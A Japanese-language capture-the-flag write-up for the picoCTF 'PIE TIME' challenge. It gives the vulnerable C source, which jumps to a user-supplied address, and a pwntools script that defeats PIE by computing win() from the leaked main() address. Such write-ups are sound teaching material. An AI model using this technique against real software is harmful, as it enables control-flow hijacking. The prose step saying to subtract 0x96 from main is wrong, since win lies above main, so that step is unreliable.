備忘録 PIE TIME
インスタンスを起動するとソースコードと実行ファイルがダウンロードできるようになるのでダウンロード
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
ソースコードから次の関数を持つことが分かる
- win
- main
main関数を実行し入力したアドレスへジャンプする仕様。そしてwin関数はflag.txtを開いて中身を表示してくれるのでwin関数のアドレスを調べて入力できればflagが取れるというもの。
まずはローカル環境で試したいので以下のようにvuln.cと同じディレクトリにflag.txtを作る。中身はなんでもOK
echo great!!this is flga! > flag.txt
その後、vulnを実行するが、当然そのままではアドレスがわからないのでgdbを使ってアドレスを調べる。

調べたアドレスを入力するが通らない。ここでファイルを実行するとmain関数のアドレスが表示されていることが確認できる。

問題のタイトルにもある通り、この実行ファイルはPIEが有効化されている。

上の写真にあるようにPIE enabledなのでアドレスがプログラム実行時に毎回変化する。よって、実行ファイルを動作させ、動的に変化した後のアドレスを取得する必要がある。

上の写真は実行ファイルを2回動かした結果。1回目と2回目でmainのアドレスが変化していることが分かる
補足
PEIはASLRと組み合わせて用いられることが多い。どちらもアドレスのランダム化だが、PIEは実行ファイル側なのに対し、ASLRはOS側で行う。
main関数とwin関数の距離は変わらないので、相対アドレスを調べmain関数から引くことでアドレスを求めることができる。

相対値はwin関数とmain関数の差なので0x133d - 0x12a7 = 0x96
つまり、ファイルを実行して表示されたmain関数から0x96引いた値を入力すればflag.txtを開くことができる。

あとは同じことを指定されたリモートホストにやるだけ!
手動でやってもいいが以下のようなコードを活用すれば汎用性がある。
from pwn import *
# バイナリの読み込み
elf = ELF('./vuln')
context.binary = elf
# ローカル実行
p = process('./vuln')
# リモート実行ならこちらを有効化
# host = 'rescued-float.picoctf.net'
# port = 123456
# p = remote(host, port)
# mainのアドレスを受け取る
p.recvuntil(b'Address of main: ')
main_addr = int(p.recvline().strip(),16)
log.info(f"main addresss: {hex(main_addr)}")
# PIEベースアドレスを計算
main_offset = elf.symbols['main']
base_addr = main_addr - main_offset
log.info(f"PIE base address: {hex(base_addr)}")
# win 関数のオフセットを取得して、実行アドレスを計算
win_offset = elf.symbols['win']
win_addr = base_addr + win_offset
log.success(f"win address: {hex(win_addr)}")
# アドレスを送信
p.sendlineafter(b'Enter the address to jump to', hex(win_addr).encode())
# 対話モードでflagを表示
p.interactive()